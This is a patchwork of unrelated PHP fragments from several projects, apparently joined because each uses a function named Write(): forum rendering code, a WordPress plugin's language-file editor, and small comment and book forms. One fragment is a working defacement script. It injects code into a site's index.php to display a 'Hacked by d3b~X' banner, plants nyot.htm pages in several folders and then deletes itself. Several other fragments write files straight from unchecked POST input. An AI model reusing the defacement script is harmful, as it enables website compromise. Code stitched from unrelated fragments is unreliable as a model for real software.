function Keskmine() { global $keskmine; global $count; global $sisu; if ($_POST["textblock"]){ Write(); $count = $count + 1; $keskmine = $sisu / $count; }; echo $keskmine; }
function doThreadPreview($tid) { global $mobileLayout; if ($mobileLayout) { return; } $rPosts = Query("\n\t\tselect\n\t\t\t{posts}.id, {posts}.date, {posts}.num, {posts}.deleted, {posts}.options, {posts}.mood, {posts}.ip,\n\t\t\t{posts_text}.text, {posts_text}.text, {posts_text}.revision,\n\t\t\tu.(_userfields)\n\t\tfrom {posts}\n\t\tleft join {posts_text} on {posts_text}.pid = {posts}.id and {posts_text}.revision = {posts}.currentrevision\n\t\tleft join {users} u on u.id = {posts}.user\n\t\twhere thread={0} and deleted=0\n\t\torder by date desc limit 0, 20", $tid); if (NumRows($rPosts)) { $posts = ""; while ($post = Fetch($rPosts)) { $cellClass = ($cellClass + 1) % 2; $poster = getDataPrefix($post, "u_"); $nosm = $post['options'] & 2; $nobr = $post['options'] & 4; $posts .= Format("\n\t\t\t<tr>\n\t\t\t\t<td class=\"cell2\" style=\"width: 15%; vertical-align: top;\">\n\t\t\t\t\t{1}\n\t\t\t\t</td>\n\t\t\t\t<td class=\"cell{0}\">\n\t\t\t\t\t<button style=\"float: right;\" onclick=\"insertQuote({2});\">" . __("Quote") . "</button>\n\t\t\t\t\t<button style=\"float: right;\" onclick=\"insertChanLink({2});\">" . __("Link") . "</button>\n\t\t\t\t\t{3}\n\t\t\t\t</td>\n\t\t\t</tr>\n\t", $cellClass, UserLink($poster), $post['id'], CleanUpPost($post['text'], $poster['name'], $nosm)); } Write("\n\t\t<table class=\"outline margin\">\n\t\t\t<tr class=\"header0\">\n\t\t\t\t<th colspan=\"2\">" . __("Thread review") . "</th>\n\t\t\t</tr>\n\t\t\t{0}\n\t\t</table>\n\t", $posts); } }
$mod .= "<label><input type=\"checkbox\" name=\"unlock\"> " . __("Open thread", 1) . "</label>\n"; } if (!$thread['sticky']) { $mod .= "<label><input type=\"checkbox\" name=\"stick\"> " . __("Sticky", 1) . "</label>\n"; } else { $mod .= "<label><input type=\"checkbox\" name=\"unstick\"> " . __("Unstick", 1) . "</label>\n"; } $mod .= "\n\n"; } write("\n\t<table style=\"width: 100%;\">\n\t\t<tr>\n\t\t\t<td style=\"vertical-align: top; border: none;\">\n\t\t\t\t<form action=\"newreply.php\" method=\"post\">\n\t\t\t\t\t<input type=\"hidden\" name=\"ninja\" value=\"{0}\" />\n\t\t\t\t\t<table class=\"outline margin width100\">\n\t\t\t\t\t\t<tr class=\"header1\">\n\t\t\t\t\t\t\t<th colspan=\"2\">\n\t\t\t\t\t\t\t\t" . __("New reply") . "\n\t\t\t\t\t\t\t</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell0\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<label for=\"uname\">\n\t\t\t\t\t\t\t\t\t" . __("User name", 1) . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"text\" id=\"uname\" name=\"username\" value=\"{1}\" size=\"32\" maxlength=\"32\" />\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell1\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<label for=\"upass\">\n\t\t\t\t\t\t\t\t\t" . __("Password") . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"password\" id=\"upass\" name=\"password\" value=\"{2}\" size=\"32\" maxlength=\"32\" />\n\t\t\t\t\t\t\t\t<img src=\"img/icons/icon5.png\" title=\"" . __("If you want to post under another account without having to log out, enter that account's user name and password here. Leave the password field blank to use the current account ({10}).") . "\" alt=\"[?]\" />\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell0\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<label for=\"text\">\n\t\t\t\t\t\t\t\t\t" . __("Post") . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<textarea id=\"text\" name=\"text\" rows=\"16\" style=\"width: 98%;\">{3}</textarea>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell2\">\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Post") . "\" /> \n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Preview") . "\" />\n\t\t\t\t\t\t\t\t<select size=\"1\" name=\"mood\">\n\t\t\t\t\t\t\t\t\t{4}\n\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" name=\"nopl\" {5} /> " . __("Disable post layout", 1) . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" name=\"nosm\" {6} /> " . __("Disable smilies", 1) . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t\t<label>\n\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" name=\"nobr\" {9} /> " . __("Disable auto-<br>", 1) . "\n\t\t\t\t\t\t\t\t</label>\n\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"id\" value=\"{7}\" />\n\t\t\t\t\t\t\t\t{8}\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</form>\n\t\t\t</td>\n\t\t\t<td style=\"width: 20%; vertical-align: top; border: none;\">\n", $ninja, htmlval($postingAsUser['name']), $_POST['password'], $prefill, $moodOptions, $nopl, $nosm, $tid, $mod, $nobr, htmlspecialchars($loguser['name'])); DoSmileyBar(); DoPostHelp(); write("\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n"); $qPosts = "select "; $qPosts .= "posts.id, posts.date, posts.num, posts.deleted, posts.options, posts.mood, posts.ip, posts_text.text, posts_text.text, posts_text.revision, users.id as uid, users.name, users.displayname, users.rankset, users.powerlevel, users.sex, users.posts"; $qPosts .= " from posts left join posts_text on posts_text.pid = posts.id and posts_text.revision = posts.currentrevision left join users on users.id = posts.user"; $qPosts .= " where thread=" . $tid . " and deleted=0 order by date desc limit 0, 20"; $rPosts = Query($qPosts); if (NumRows($rPosts)) { $posts = ""; while ($post = Fetch($rPosts)) { $cellClass = ($cellClass + 1) % 2; $poster = $post; $poster['id'] = $post['uid']; $nosm = $post['options'] & 2; $nobr = $post['options'] & 4; $posts .= Format("\n\t\t<tr>\n\t\t\t<td class=\"cell2\" style=\"width: 15%; vertical-align: top;\">\n\t\t\t\t{1}\n\t\t\t</td>\n\t\t\t<td class=\"cell{0}\">\n\t\t\t\t<button style=\"float: right;\" onclick=\"insertQuote({2});\">" . __("Quote") . "</button>\n\t\t\t\t<button style=\"float: right;\" onclick=\"insertChanLink({2});\">" . __("Link") . "</button>\n\t\t\t\t{3}\n\t\t\t</td>\n\t\t</tr>\n", $cellClass, UserLink($poster), $post['id'], CleanUpPost($post['text'], $poster['name'], $nosm, $nobr)); } Write("\n\t<table class=\"outline margin\">\n\t\t<tr class=\"header0\">\n\t\t\t<th colspan=\"2\">" . __("Thread review") . "</th>\n\t\t</tr>\n\t\t{0}\n\t</table>\n", $posts); } MakeCrumbs(array(__("Main") => "./", $forum['title'] => "forum.php?id=" . $fid, $titleandtags => "thread.php?id=" . $tid, __("New reply") => ""), $links);
$sCode .= file_get_contents("{$sDocRoot}/{$sFile}"); } // sort dates, newest first rsort($aLastModifieds); if (CREATE_ARCHIVE) { if ($iETag == $aLastModifieds[0]) { // check for valid etag, we don't want invalid requests to fill up archive folder Write($sMergedFilename, $sCode); if (JSMIN_COMPRESS) { if (JSMIN_COMMENTS != '') { $jsMin = new JSMin(file_get_contents($sMergedFilename), false, JSMIN_COMMENTS); } else { $jsMin = new JSMin(file_get_contents($sMergedFilename), false); } $sCode = $jsMin->minify(); Write($sMergedFilename, $sCode); } } else { // archive file no longer exists or invalid etag specified header("{$_SERVER['SERVER_PROTOCOL']} 404 Not Found"); exit; } } } // send HTTP headers to ensure aggressive caching header('Expires: ' . gmdate('D, d M Y H:i:s', time() + CACHE_LENGTH) . ' GMT'); // 1 year from now header('Content-Type: ' . FILE_TYPE); header('Content-Length: ' . strlen($sCode)); header("Last-Modified: {$sLastModified}"); header("ETag: {$iETag}");
<?php Write('Wiadomosci');
<?php if ($loguser['powerlevel'] > 3) { Write("\n\t\t\t\t<table class=\"outline margin\" style=\"margin-top:1.5em;\">\n\t\t\t\t\t<tr class=\"header0\">\n\t\t\t\t\t\t<th colspan=\"2\">" . __("Badge Manager Panel") . "</th>\n\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td class=cell0 align=\"center\">\n\t\t\t\t\t\t\t\t\t<a href=\"" . actionLink("userbadges", "", "userid=" . $id . "&action=newbadge") . "\">" . __("Add a new badge for this user") . "</a>\n\t\t\t\t\t\t\t\t\t — \n\t\t\t\t\t\t\t\t\t<a href=\"" . actionLink("userbadges", "", "userid=" . $id . "&action=deleteall") . "\">" . __("Delete all badges of this user") . "</a>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t</table>"); }
function BuildPage($page, $id) { global $first, $loguser; $display = $id != $first ? " style=\"display: none;\"" : ""; $cellClass = 0; $output = "<table class=\"outline margin width50 eptable\" id=\"" . $id . "\"" . $display . ">\n"; foreach ($page as $pageID => $section) { $output .= "<tr class=\"header0\"><th colspan=\"2\">" . $section['name'] . "</th></tr>\n"; foreach ($section['items'] as $field => $item) { $output .= "<tr class=\"cell" . $cellClass . "\">\n"; $output .= "<td>\n"; if ($item['type'] != "checkbox") { $output .= "<label for=\"" . $field . "\">" . $item['caption'] . "</label>\n"; } if ($item['hint']) { $output .= "<img src=\"img/icons/icon5.png\" title=\"" . $item['hint'] . "\" alt=\"[?]\" />\n"; } $output .= "</td>\n"; $output .= "<td>\n"; if ($item['before']) { $output .= " " . $item['before']; } switch ($item['type']) { case "label": $output .= htmlspecialchars($item['value']) . "\n"; break; case "birthday": $item['type'] = "text"; //$item['value'] = gmdate("F j, Y", $item['value']); $item['value'] = timestamptostring($item['value']); case "password": if (!isset($item['size'])) { $item['size'] = 13; } if (!isset($item['length'])) { $item['length'] = 32; } if ($item['type'] == "password") { $item['extra'] = "/ " . __("Repeat:") . " <input type=\"password\" name=\"repeat" . $field . "\" size=\"" . $item['size'] . "\" maxlength=\"" . $item['length'] . "\" />"; } case "text": $output .= "<input id=\"" . $field . "\" name=\"" . $field . "\" type=\"" . $item['type'] . "\" value=\"" . htmlval($item['value']) . "\""; if (isset($item['size'])) { $output .= " size=\"" . $item['size'] . "\""; } if (isset($item['length'])) { $output .= " maxlength=\"" . $item['length'] . "\""; } if (isset($item['width'])) { $output .= " style=\"width: " . $item['width'] . ";\""; } if (isset($item['more'])) { $output .= " " . $item['more']; } $output .= " />\n"; break; case "textarea": if (!isset($item['rows'])) { $item['rows'] = 8; } $output .= "<textarea id=\"" . $field . "\" name=\"" . $field . "\" rows=\"" . $item['rows'] . "\" style=\"width: 98%;\">" . htmlval($item['value']) . "</textarea>"; break; case "checkbox": $output .= "<label><input id=\"" . $field . "\" name=\"" . $field . "\" type=\"checkbox\""; if ($item['negative'] && !$item['value'] || !$item['negative'] && $item['value']) { $output .= " checked=\"checked\""; } $output .= " /> " . $item['caption'] . "</label>\n"; break; case "select": $disabled = isset($item['disabled']) ? $item['disabled'] : false; $disabled = $disabled ? "disabled=\"disabled\" " : ""; $checks = array(); $checks[$item['value']] = " selected=\"selected\""; $options = ""; foreach ($item['options'] as $key => $val) { $options .= format("<option value=\"{0}\"{1}>{2}</option>", $key, $checks[$key], $val); } $output .= format("<select id=\"{0}\" name=\"{0}\" size=\"1\" {2}>\n{1}\n</select>\n", $field, $options, $disabled); break; case "radiogroup": $checks = array(); $checks[$item['value']] = " checked=\"checked\""; foreach ($item['options'] as $key => $val) { $output .= format("<label><input type=\"radio\" name=\"{1}\" value=\"{0}\"{2} />{3}</label>", $key, $field, $checks[$key], $val); } break; case "displaypic": case "minipic": $output .= "<input type=\"file\" id=\"" . $field . "\" name=\"" . $field . "\" style=\"width: 98%;\" />\n"; $output .= "<label><input type=\"checkbox\" name=\"remove" . $field . "\" /> " . __("Remove") . "</label>\n"; break; case "number": //$output .= "<input type=\"number\" id=\"".$field."\" name=\"".$field."\" value=\"".$item['value']."\" />"; $output .= "<input type=\"text\" id=\"" . $field . "\" name=\"" . $field . "\" value=\"" . $item['value'] . "\" size=\"6\" maxlength=\"4\" />"; break; case "datetime": $output .= "<input type=\"text\" id=\"" . $field . "\" name=\"" . $field . "\" value=\"" . $item['value'] . "\" />\n"; $output .= __("or preset:") . "\n"; $options = "<option value=\"-1\">" . __("[select]") . "</option>"; foreach ($item['presets'] as $key => $val) { $options .= format("<option value=\"{0}\">{1}</option>", $key, $val); } $output .= format("<select id=\"{0}\" name=\"{0}\" size=\"1\" >\n{1}\n</select>\n", $item['presetname'], $options); break; case "timezone": $output .= "<input type=\"text\" name=\"" . $field . "H\" size=\"2\" maxlength=\"3\" value=\"" . (int) ($item['value'] / 3600) . "\" />\n"; $output .= ":\n"; $output .= "<input type=\"text\" name=\"" . $field . "M\" size=\"2\" maxlength=\"3\" value=\"" . floor(abs($item['value'] / 60) % 60) . "\" />"; break; } if ($item['extra']) { $output .= " " . $item['extra']; } $output .= "</td>\n"; $output .= "</tr>\n"; $cellClass = ($cellClass + 1) % 2; } } $output .= "</table>"; Write($output); }
function po_file_editor() { ?> <div class="wrap"> <?php //screen_icon(); ?> <h2><?php ?> </h2> <div class="fileedit-sub"> <div class="alignleft"> <?php require MLM_PLUGIN_DIR . '/mlm_html/php-mo.php'; $locale = apply_filters('plugin_locale', get_locale(), 'binary-mlm-pro'); ?> <h3><?php _e("Binary-MLM-Pro : Language file (binary-mlm-pro-{$locale}.po)"); ?> </h3> </div> <br class="clear" /> </div> <?php function Read() { $locale = apply_filters('plugin_locale', get_locale(), 'binary-mlm-pro'); $file = MLM_PLUGIN_DIR . "/languages/binary-mlm-pro-{$locale}.po"; if (file_exists($file)) { $fp = fopen($file, "r"); while (!feof($fp)) { $data = fgets($fp, filesize($file)); _e("{$data}"); } fclose($fp); } else { $file = MLM_PLUGIN_DIR . "/languages/binary-mlm-pro-en_EN.po"; $fp = fopen($file, "r"); while (!feof($fp)) { $data = fgets($fp, filesize($file)); _e("{$data}"); } fclose($fp); } } function Write() { $locale = apply_filters('plugin_locale', get_locale(), 'binary-mlm-pro'); $file = MLM_PLUGIN_DIR . "/languages/binary-mlm-pro-{$locale}.po"; $fp = fopen($file, "w+") or die("can't open file"); $data = stripslashes($_POST['newcontent']); $fff = fwrite($fp, $data); fclose($fp); phpmo_convert(MLM_PLUGIN_DIR . "/languages/binary-mlm-pro-{$locale}.po", MLM_PLUGIN_DIR . "/languages/binary-mlm-pro-{$locale}.mo"); } ?> <?php if (isset($_POST["submit"])) { Write(); } ?> <form action="<?php admin_url(); ?> admin.php?page=mlm-po-file-editor.php" method="post"> <textarea cols="200" rows="28" name="newcontent" id="newcontent" aria-describedby="newcontent-description"><?php Read(); ?> </textarea><br> <input type="submit" name="submit" value="Update text"></form> <?php if (isset($_POST["submit"])) { _e('Text updated'); } ?> <?php }
function BuildPage($page, $id) { global $selectedTab, $loguser; //TODO: This should be done in JS. //So that a user who doesn't have Javascript will see all the tabs. $display = $id != $selectedTab ? " style=\"display: none;\"" : ""; $cellClass = 0; $output = "<table class=\"outline margin width50 eptable\" id=\"" . $id . "\"" . $display . ">\n"; foreach ($page as $pageID => $section) { $secClass = $section["class"]; $output .= "<tr class=\"header0 {$secClass}\"><th colspan=\"2\">" . $section['name'] . "</th></tr>\n"; foreach ($section['items'] as $field => $item) { $output .= "<tr class=\"cell{$cellClass} {$secClass}\" >\n"; $output .= "<td>\n"; if (isset($item["fail"])) { $output .= "[ERROR] "; } if ($item['type'] != "checkbox") { $output .= "<label for=\"" . $field . "\">" . $item['caption'] . "</label>\n"; } if (isset($item['hint'])) { $output .= "<img src=\"" . resourceLink("img/icons/icon5.png") . "\" title=\"" . $item['hint'] . "\" alt=\"[?]\" />\n"; } $output .= "</td>\n"; $output .= "<td>\n"; if (isset($item['before'])) { $output .= " " . $item['before']; } // Yes, some cases are missing the break; at the end. // This is intentional, but I don't think it's a good idea... switch ($item['type']) { case "label": $output .= htmlspecialchars($item['value']) . "\n"; break; case "birthday": $item['type'] = "text"; //$item['value'] = gmdate("F j, Y", $item['value']); $item['value'] = timestamptostring($item['value']); case "password": if ($item['type'] == "password") { $item['extra'] = "/ " . __("Repeat:") . " <input type=\"password\" name=\"repeat" . $field . "\" size=\"" . $item['size'] . "\" maxlength=\"" . $item['length'] . "\" />"; } case "passwordonce": if (!isset($item['size'])) { $item['size'] = 13; } if (!isset($item['length'])) { $item['length'] = 32; } if ($item["type"] == "passwordonce") { $item["type"] = "password"; } case "color": case "text": $output .= "<input id=\"" . $field . "\" name=\"" . $field . "\" type=\"" . $item['type'] . "\" value=\"" . htmlspecialchars($item['value']) . "\""; if (isset($item['size'])) { $output .= " size=\"" . $item['size'] . "\""; } if (isset($item['length'])) { $output .= " maxlength=\"" . $item['length'] . "\""; } if (isset($item['width'])) { $output .= " style=\"width: " . $item['width'] . ";\""; } if (isset($item['more'])) { $output .= " " . $item['more']; } $output .= " />\n"; break; case "textarea": if (!isset($item['rows'])) { $item['rows'] = 8; } $output .= "<textarea id=\"" . $field . "\" name=\"" . $field . "\" rows=\"" . $item['rows'] . "\" style=\"width: 98%;\">" . htmlspecialchars($item['value']) . "</textarea>"; break; case "checkbox": $output .= "<label><input id=\"" . $field . "\" name=\"" . $field . "\" type=\"checkbox\""; if (isset($item['negative']) && !$item['value'] || !isset($item['negative']) && $item['value']) { $output .= " checked=\"checked\""; } $output .= " /> " . $item['caption'] . "</label>\n"; break; case "select": $disabled = isset($item['disabled']) ? $item['disabled'] : false; $disabled = $disabled ? "disabled=\"disabled\" " : ""; $checks = array(); $checks[$item['value']] = " selected=\"selected\""; $options = ""; foreach ($item['options'] as $key => $val) { $options .= format("<option value=\"{0}\"{1}>{2}</option>", $key, $checks[$key], $val); } $output .= format("<select id=\"{0}\" name=\"{0}\" size=\"1\" {2}>\n{1}\n</select>\n", $field, $options, $disabled); break; case "radiogroup": $checks = array(); $checks[$item['value']] = " checked=\"checked\""; foreach ($item['options'] as $key => $val) { $output .= format("<label><input type=\"radio\" name=\"{1}\" value=\"{0}\"{2} />{3}</label>", $key, $field, $checks[$key], $val); } break; case "displaypic": case "minipic": $output .= "<input type=\"file\" id=\"" . $field . "\" name=\"" . $field . "\" style=\"width: 98%;\" />\n"; $output .= "<label><input type=\"checkbox\" name=\"remove" . $field . "\" /> " . __("Remove") . "</label>\n"; break; case "number": //$output .= "<input type=\"number\" id=\"".$field."\" name=\"".$field."\" value=\"".$item['value']."\" />"; $output .= "<input type=\"text\" id=\"" . $field . "\" name=\"" . $field . "\" value=\"" . $item['value'] . "\" size=\"6\" maxlength=\"4\" />"; break; case "datetime": $output .= "<input type=\"text\" id=\"" . $field . "\" name=\"" . $field . "\" value=\"" . $item['value'] . "\" />\n"; $output .= __("or preset:") . "\n"; $options = "<option value=\"-1\">" . __("[select]") . "</option>"; foreach ($item['presets'] as $key => $val) { $options .= format("<option value=\"{0}\">{1}</option>", $key, $val); } $output .= format("<select id=\"{0}\" name=\"{0}\" size=\"1\" >\n{1}\n</select>\n", $item['presetname'], $options); break; case "timezone": $output .= "<input type=\"text\" name=\"" . $field . "H\" size=\"2\" maxlength=\"3\" value=\"" . (int) ($item['value'] / 3600) . "\" />\n"; $output .= ":\n"; $output .= "<input type=\"text\" name=\"" . $field . "M\" size=\"2\" maxlength=\"3\" value=\"" . floor(abs($item['value'] / 60) % 60) . "\" />"; break; } if (isset($item['extra'])) { $output .= " " . $item['extra']; } $output .= "</td>\n"; $output .= "</tr>\n"; $cellClass = ($cellClass + 1) % 2; } } $output .= "</table>"; Write($output); }
<?php $filenya = $_SERVER["DOCUMENT_ROOT"] . '/index.php'; function Write($filenya) { if (is_writable($filenya)) { $rr = @file_get_contents($filenya); if (!preg_match("/Hacked by/i", $rr)) { $c = '<?php error_reporting(0); $r=$_SERVER["HTTP_USER_AGENT"];if((preg_match("/MSIE 9.0; Windows NT 6.0; Trident\\/5.0/i",$r)) OR(isset($_GET["z"]))){echo "<title>Hacked by d3b~X</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}";exit;}?>' . "\r\n"; $b = $c . $rr; $f = fopen($filenya, "w"); fwrite($f, $b); fclose($f); } } else { $file = "<title>Hacked by d3b~X</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}"; $path = $_SERVER["DOCUMENT_ROOT"]; $r = fopen($path . "/nyot.htm", "w"); fwrite($r, $file); fclose($r); $r = fopen($path . "/images/nyot.htm", "w"); fwrite($r, $file); fclose($r); $r = fopen($path . "/components/nyot.htm", "w"); fwrite($r, $file); fclose($r); } } Write($filenya); echo md5("deb"); unlink(__FILE__);
</div> <div> <p class="fl" style="margin-right:20px;margin-top:4px;"><strong>Livro 2 ---></strong></p> <label>Titulo:</label><input type="text" name="title2" value="z" required/> <label>Autor:</label><input type="text" name="author2" value="y" required/> <label>Publicador:</label><input type="text" name="publisher2" value="x" required/> </div> <?php if (isset($_POST["formWriteButton"])) { $title1 = $_POST["title1"]; $title2 = $_POST["title2"]; $author1 = $_POST["author1"]; $author2 = $_POST["author2"]; $publisher1 = $_POST["publisher1"]; $publisher2 = $_POST["publisher2"]; Write($title1, $title2, $author1, $author2, $publisher1, $publisher2); echo "<script>formOpen('formWrite','formRead');</script>"; } ?> <div class="fr"><button name="formWriteButton">Enviar</button></div> </form> <hr/> <p><strong>Diretório destino do arquivo:</strong> <?php echo $diretorio; ?> </p> </div> </div> </div> </body> </html>
//No action, do main code break; default: //Unrecognized action dieAjax(format(__("Unknown action: {0}"), $_POST["action"])); } //Main code. print '<script src="' . resourceLink('js/editfora.js') . '" type="text/javascript"></script>'; Write(' <div id="editcontent" style="float: right; width: 45%;"> </div> <div id="flist"> '); WriteForumTableContents(); Write(' </div>'); //Helper functions function cell() { global $cell; $cell = $cell == 1 ? 0 : 1; return $cell; } // $fid == -1 means that a new forum should be made :) function WriteForumEditContents($fid) { global $loguser; //Get all categories. $rCats = Query("SELECT * FROM {categories} ORDER BY corder, id"); $cats = array(); while ($cat = Fetch($rCats)) {
function endTable() { //For consistancy's sake. Write("\n\t\t</table>\n\t"); }
while ($result = Fetch($search)) { $result['text'] = str_replace("<!--", "~#~", str_replace("-->", "~#~", $result['text'])); $snippet = MakeSnippet(htmlspecialchars($result['text']), $terms); if ($snippet != "") { $results .= Format("\n\t<tr class=\"cell0\">\n\t\t<td class=\"smallFonts\">\n\t\t\t{3}\n\t\t</td>\n\t\t<td>\n\t\t\t{0}\n\t\t</td>\n\t\t<td class=\"smallFonts\">\n\t\t\t<a href=\"./?tid={4}\">{2}</a>\n\t\t</td>\n\t\t<td class=\"smallFonts\">\n\t\t\t» <a href=\"./?pid={1}\">{1}</a>\n\t\t</td>\n\t</tr>\n", $snippet, $result['pid'], $result['title'], UserLink($result, "user"), $result['thread']); } } if ($results != "") { $final .= Format("\n<table class=\"outline margin\">\n\t<tr class=\"header0\">\n\t\t<th colspan=\"4\">Text results</th>\n\t</tr>\n\t<tr class=\"header1\">\n\t\t<th>User</th>\n\t\t<th>Text</th>\n\t\t<th>Thread</th>\n\t\t<th>ID</th>\n\t</tr>\n\t{0}\n</table>\n", $results); $totalResults += NumRows($search); } } if ($totalResults == 0) { Alert(Format("No results for \"{0}\".", htmlspecialchars($_GET['q'])), "Search"); } else { Write("\n<div class=\"outline header2 cell2 margin\" style=\"text-align: center; font-size: 130%;\">\n\t{0}\n</div>\n{1}\n", Plural($totalResults, "result"), $final); } } function MakeSnippet($text, $terms, $title = false) { $text = strip_tags($text); if (!$title) { $text = preg_replace("/(\\[\\/?)(\\w+)([^\\]]*\\])/i", "", $text); } $lines = explode("\n", $text); $terms = implode("|", $terms); $contextlines = 3; $max = 50; $pat1 = "/(.*)(" . $terms . ")(.{0," . $max . "})/i"; $lineno = 0; $extract = "";
$lastLink = " <a href=\"thread.php?pid=" . $thread['lastpostid'] . "#" . $thread['lastpostid'] . "\">»</a>"; } $forumList .= Format("\n\t\t<tr class=\"cell{0}\">\n\t\t\t<td class=\"cell2 threadIcon\">{1}</td>\n\t\t\t<td class=\"threadIcon\" style=\"border-right: 0px none;\">\n\t\t\t\t{2}\n\t\t\t</td>\n\t\t\t<td style=\"border-left: 0px none;\">\n\t\t\t\t{3}\n\t\t\t\t<a href=\"thread.php?id={4}\">\n\t\t\t\t\t{5}\n\t\t\t\t</a>\n\t\t\t\t{6}\n\t\t\t\t{7}\n\t\t\t</td>\n\t\t\t<td class=\"center\">\n\t\t\t\t{8}\n\t\t\t</td>\n\t\t\t<td class=\"center\">\n\t\t\t\t{9}\n\t\t\t</td>\n\t\t\t<td class=\"center\">\n\t\t\t\t{10}\n\t\t\t</td>\n\t\t\t<td class=\"smallFonts center\">\n\t\t\t\t{11}<br />\n\t\t\t\t" . __("by") . " {12} {13}</td>\n\t\t</tr>\n", $cellClass, $NewIcon, $ThreadIcon, $poll, $thread['id'], strip_tags($thread['title']), $pl, $tags, UserLink($starter), $thread['replies'], $thread['views'], cdate($dateformat, $thread['lastpostdate']), UserLink($last), $lastLink); } Write("\n\t<table class=\"outline margin width100\">\n\t\t<tr class=\"header1\">\n\t\t\t<th style=\"width: 20px;\"> </th>\n\t\t\t<th style=\"width: 16px;\"> </th>\n\t\t\t<th style=\"width: 60%;\">" . __("Title") . "</th>\n\t\t\t<th>" . __("Started by") . "</th>\n\t\t\t<th>" . __("Replies") . "</th>\n\t\t\t<th>" . __("Views") . "</th>\n\t\t\t<th>" . __("Last post") . "</th>\n\t\t</tr>\n\t\t{0}\n\t</table>\n", $forumList); } else { if ($forum['minpowerthread'] > $loguser['powerlevel']) { Alert(__("You cannot start any threads here."), __("Empty forum")); } elseif ($loguserid) { Alert(format(__("Would you like to {0}post something{1}?"), "<a href=\"newthread.php?id=" . $fid . "\">", "</a>"), __("Empty forum")); } else { Alert(format(__("{0}Log in{1} so you can post something."), "<a href=\"login.php\">", "</a>"), __("Empty forum")); } } if ($pagelinks) { Write("<div class=\"smallFonts pages\">" . __("Pages:") . " {0}</div>", $pagelinks); } MakeCrumbs(array(__("Main") => "./", $forum['title'] => "forum.php?id=" . $fid), $links); ForumJump(); function ForumJump() { global $fid, $loguser; $pl = $loguser['powerlevel']; if ($pl < 0) { $pl = 0; } $lastCatID = -1; $rFora = Query("\tSELECT \n\t\t\t\t\t\t\tf.id, f.title, f.catid,\n\t\t\t\t\t\t\tc.name cname\n\t\t\t\t\t\tFROM \n\t\t\t\t\t\t\tforums f\n\t\t\t\t\t\t\tLEFT JOIN categories c ON c.id=f.catid\n\t\t\t\t\t\tWHERE c.minpower<=" . $pl . " AND f.minpower<=" . $pl . ($pl < 1 ? " AND f.hidden=0" : '') . "\n\t\t\t\t\t\tORDER BY c.corder, c.id, f.forder"); $theList = ""; $optgroup = ""; while ($forum = Fetch($rFora)) {
$file = "kommentaarid.txt"; echo file_get_contents( $file); } function Write() { $file = "kommentaarid.txt"; $fp = fopen($file, "w"); $data = $_POST["tekst"]; fwrite($fp, $data); fclose($fp); } ?> <?php if ($_POST["submit_check"]){ Write(); }; ?> <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> <textarea width="400px" height="400px" name="tekst"><?php Read(); ?></textarea><br> <input type="submit" name="submit" value="Update text"> <input type="hidden" name="submit_check" value="1"> </form> <?php if ($_POST["submit_check"]){ echo 'Text updated'; }; ?>
function cell2($content) { global $cell2; $cell2 = $cell2 == 1 ? 0 : 1; Write("\n\t\t<tr class=\"cell{0}\">\n\t\t\t<td>\n\t\t\t\t{1}\n\t\t\t</td>\n\t\t</tr>\n\t", $cell2, $content); }
